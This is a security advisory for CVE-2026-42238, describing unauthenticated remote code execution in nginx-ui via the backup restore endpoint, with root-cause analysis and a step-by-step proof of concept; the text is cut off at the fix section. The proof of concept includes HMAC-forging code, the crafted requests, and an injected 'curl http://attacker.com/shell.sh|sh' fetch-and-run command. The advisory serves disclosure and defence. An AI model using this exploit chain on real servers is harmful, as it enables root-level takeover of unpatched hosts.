GitHub Advisoryadvisory · Go

GHSA-4pvg-prr3-9cxr Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore

CRITICAL Published 2026-05-06 Modified 2026-05-06 Official page ↗
Aliases
CVE-2026-42238
Ecosystem
Go
Packages
github.com/0xJacky/nginx-ui
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-05-06

Affected packages

• Go github.com/0xJacky/nginx-ui: < 2.3.8 → fixed in 2.3.8

Description

Product: nginx-ui Repository: `0xJacky/nginx-ui` (branch: `dev`) Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection Affected Component: `POST /api/restore` --- 1. Vulnerability Summary nginx-ui exposes a backup restore endpoint (`POST /api/restore`) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (`app.ini`) and SQLite database. Because the attacker controls the restored `app.ini`, they can inject an arbitrary OS command into the `TestConfigCmd` setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically `root` in Docker deployments. The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart). --- 2. Root Cause Analysis 2.1 The Restore Route Is Registered Without Authentication `backup.InitRouter` is called on the `root` group, which carries only `IPWhiteList()` middleware — no `AuthRequired()`: 1 The route definition: 2 2.2 The `authIfInstalled` Guard Has a Time-Bounded Bypass The only authentication guard on the restore route is `authIfInstalled`: 3 It calls `AuthRequired()` only when `InstallLockStatus() || IsInstallTimeoutExceeded()` is true. Both conditions are false on a fresh install within the first 10 minutes: 4 • `InstallLockStatus()` returns `false` because `JwtSecret` is `""` on a fresh install and `SkipInstallation` defaults to `false`. • `IsInstallTimeoutExceeded()` returns `false` for the first 10 minutes after `startupTime` is set in `init()`. When both are `false`, `authIfInstalled` calls `ctx.Next()` with zero authentication. 2.3 The `EncryptedForm` Middleware Is Not a Security Barrier The `EncryptedForm()` middleware between `authIfInstalled` and `RestoreBackup` is optional — it only activates if the request includes an `encrypted_params` field. If that field is absent, it calls `c.Next()` immediately: 5 An attacker sends a plain `multipart/form-data` request without `encrypted_params` and the middleware is a no-op. 2.4 The Attacker Controls the AES Key Used to Verify the Backup The restore handler accepts the AES key and IV directly from the attacker via the `security_token` form field: 6 The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7 Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup. 2.5 Restore Overwrites `app.ini` and the SQLite Database Unconditionally When `restore_nginx_ui=true`, `restoreNginxUIConfig` directly copies files from the backup onto disk with no content validation: 8 2.6 Restored `TestConfigCmd` Is Executed as a Shell Command After restore, `risefront.Restart()` is called, reloading `app.ini`: 9 On the next call to `TestConfig()`, the value of `TestConfigCmd` from the restored `app.ini` is passed verbatim to `/bin/sh -c`: 10 11 --- 3. Attack Prerequisites | Requirement | Notes | |---|---| | Network access to nginx-ui port | Default: 9000/tcp | | Target is a fresh install | `JwtSecret` is empty in `app.ini` | | Within 10 minutes of last process start | Window resets on every restart | | IP not blocked by `IPWhiteList` | Default config has no IP whitelist | The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets `startupTime` via `init()`, reopening the window. --- 4. Step-by-Step Proof of Concept Step 1 — Confirm the installation window is open ```http GET /api/install HTTP/1.1 Host: target:9000 ``` Expected response confirming vulnerability: ```json {"lock": false, "timeout": false} ``` Step 2 — Craft the malicious backup The backup format (derived from `internal/backup/backup.go`) is: ``` backup-TIMESTAMP.zip ← outer ZIP (unencrypted) ├── manifest.json ← JSON manifest ├── manifest.sig ← HMAC-SHA256 of manifest.json ├── nginx-ui.zip ← AES-CBC encrypted inner ZIP └── nginx.zip ← AES-CBC encrypted inner ZIP ``` 2a. Generate a random 32-byte AES key and 16-byte IV. 2b. Create the malicious `app.ini` to place inside `nginx-ui.zip`: ```ini [app] JwtSecret = attacker_chosen_jwt_secret_32chars [node] Secret = attacker_chosen_node_secret [nginx] TestConfigCmd = curl http://attacker.com/shell.sh|sh ``` 2c. Create a SQLite database (`nginx-ui.db`) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access). 2d. Package `app.ini` and `nginx-ui.db` into `nginx-ui.zip`. Package an empty or minimal `nginx.zip`. 2e. Encrypt both ZIPs with AES-256-CBC using your key and IV. 2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build `manifest.json`: ```json { "schema": 1, "created_at": "20260421-120000", "version": "2.0.0", "files": [ {"name": "nginx-ui.zip", "sha256": "", "size": }, {"name": "nginx.zip", "sha256": "", "size": } ] } ``` 2g. Compute the HMAC-SHA256 signature of `manifest.json` using the signing key derived as: ```python import hashlib, hmac context = b"nginx-ui-backup-signing-v1:" signing_key = hashlib.sha256(context + aes_key).digest() sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest() ``` 2h. Assemble the outer ZIP containing `manifest.json`, `manifest.sig`, `nginx-ui.zip`, `nginx.zip`. Step 3 — Upload the malicious backup (no authentication required) ```http POST /api/restore HTTP/1.1 Host: target:9000 Content-Type: multipart/form-data; boundary=----Boundary ------Boundary Content-Disposition: form-data; name="backup_file"; filename="evil.zip" Content-Type: application/zip [crafted backup bytes] ------Boundary Content-Disposition: form-data; name="security_token" : ------Boundary Content-Disposition: form-data; name="restore_nginx_ui" true ------Boundary-- ``` Expected response (HTTP 200): ```json {"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true} ``` nginx-ui calls `risefront.Restart()` 2 seconds later, loading the attacker's `app.ini`. Step 4 — Trigger RCE using the restored node secret After the restart (wait ~3 seconds): ```http POST /api/nginx/test HTTP/1.1 Host: target:9000 X-Node-Secret: attacker_chosen_node_secret ``` nginx-ui executes: ```sh /bin/sh -c "curl http://attacker.com/shell.sh|sh" ``` The attacker now has a reverse shell running as the nginx-ui process user (typically `root` in Docker). --- 5. Impact • Confidentiality: Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in `app.ini`. • Integrity: Arbitrary modification of all nginx configurations and nginx-ui application state. • Availability: Complete denial of service; nginx and nginx-ui can be stopped or misconfigured. • Scope: OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode. --- 6. Affected Versions All versions of nginx-ui where `authIfInstalled` is used as the sole authentication guard on `POST /api/restore`. The vulnerability is present in the current `dev` branch. --- 7. Recommended Fix Primary fix — Require authentication uncondit…

Related

Alias · CVE (1)

  • CVE-2026-42238 Nginx UI is a web user interface for the Nginx web server. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References